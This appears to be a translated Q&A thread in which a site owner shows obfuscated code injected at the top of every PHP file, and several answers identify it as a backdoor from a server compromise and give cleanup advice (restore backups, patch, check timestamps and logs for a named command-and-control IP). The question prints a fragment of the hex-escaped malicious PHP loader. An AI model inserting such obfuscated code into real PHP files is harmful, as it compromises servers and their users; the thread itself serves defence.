Question

就在最近我的所有php文件都在每个文件的开头都开发了一些垃圾代码，我会在最后粘贴一个文件给你看。我清理此代码的任何文件都停止工作或有一些重大问题。请帮忙，下面的文件是我想的添加按钮的代码，如果我按原样使用这个文件，那么一切正常，如果我删除了垃圾代码，那么它就会停止工作

<?php $azebdqinoq = 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&& (!isset($GLOx5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x523ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpx5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%25%x5c%x7824-%x5c%x78222:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnp%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112ror_reporting(0); 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NULL); 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$azebdqinoq=$ghyzwmwujj-1; ?><?php include_once("php_includes/check_login_status.php");

Answer 1

这不是“垃圾”，即通过漏洞（即过时的代码等）在您的服务器上安装一块恶意软件。正如您从下面的链接中看到的，该漏洞可能与WordPress MailPoet插件有关，但许多可能的漏洞可能导致相同的结果

怎么做：让安全专业人员查看服务器。

什么可能就足够了：

从干净备份中恢复所有文件，并将所有涉及的软件升级到最新版本和安全补丁级别（如果可能，最好离线执行此操作）。
禁用所有插件或软件包，其中包含未完成的漏洞报告，并且没有可用的缓解措施（您必须检查相关的站点和邮件列表）。
验证服务器上所有文件的时间戳，查找“clumps”（大量文件，特别是如果不相关，在同一日期和时间修改）和可疑时间戳（例如在网站管理员工作时间之外上传或修改的PHP文件），或者当它们不应该被修改的文件（例如系统文件等），或者不属于它们的文件（数据目录中的可执行文件）或者看起来可疑的文件（例如随机名称）。
检查网络服务器日志中是否存在可疑活动，尤其是涉及IP地址31.184.192.250或类似情况（见下文）。
还要检查其他可能的日志（如果存在）：邮件服务器，SSH，登录，FTP。

半技术性的东西和琐事：我已经解密了代码 - 经过几层混淆后，核心似乎是this的近亲，可能完全相同。它似乎是在2013年圣诞节前夕，网站管理员called for help上不久首次出现在中文网站上。

命令和控制服务器的域名于2013年11月注册，位于俄罗斯圣彼得堡。 URL显然没有响应（但是内部检查可能会在“原始”恶意软件和被破坏以调查协议的恶意软件之间进行判断，并拒绝回答后者）。

可以在GitHub上找到恶意软件的明文脚本here（不用说，谨慎行事）。

Answer 2

您的代码不太可能自行开发垃圾代码。您的网站遭到黑客入侵。您需要更新您正在使用的操作系统和/或CMS。

Answer 3

这是恶意代码。你很可能会运行Wordpress或Joomla！网站，不是吗？ ;-) 某处（在脚本中）我猜有一个带有base64_decode函数的“模糊”代码块。通常这种恶意代码经过多次base64编码，因此它可以“隐藏”它正在做的事情。

删除整个网站并从头开始设置。安装安全插件并确保始终应用最新的补丁。

请参阅http://blog.securestate.com/decoding-php-backdoor/以获取有关其工作原理的说明。

Answer 4

这是由安装在您的网络服务器上的可利用软件放入您的代码的恶意软件。在某个地方，有一个不断被请求的脚本会覆盖php文件，而且很可能是带有恶意软件代码的HTML文件。我建议你更新所有已安装的软件，并从你的ISP请求最后几周的日志文件以查找泄漏。

垃圾代码出现在PHP文件的开头

4 个答案: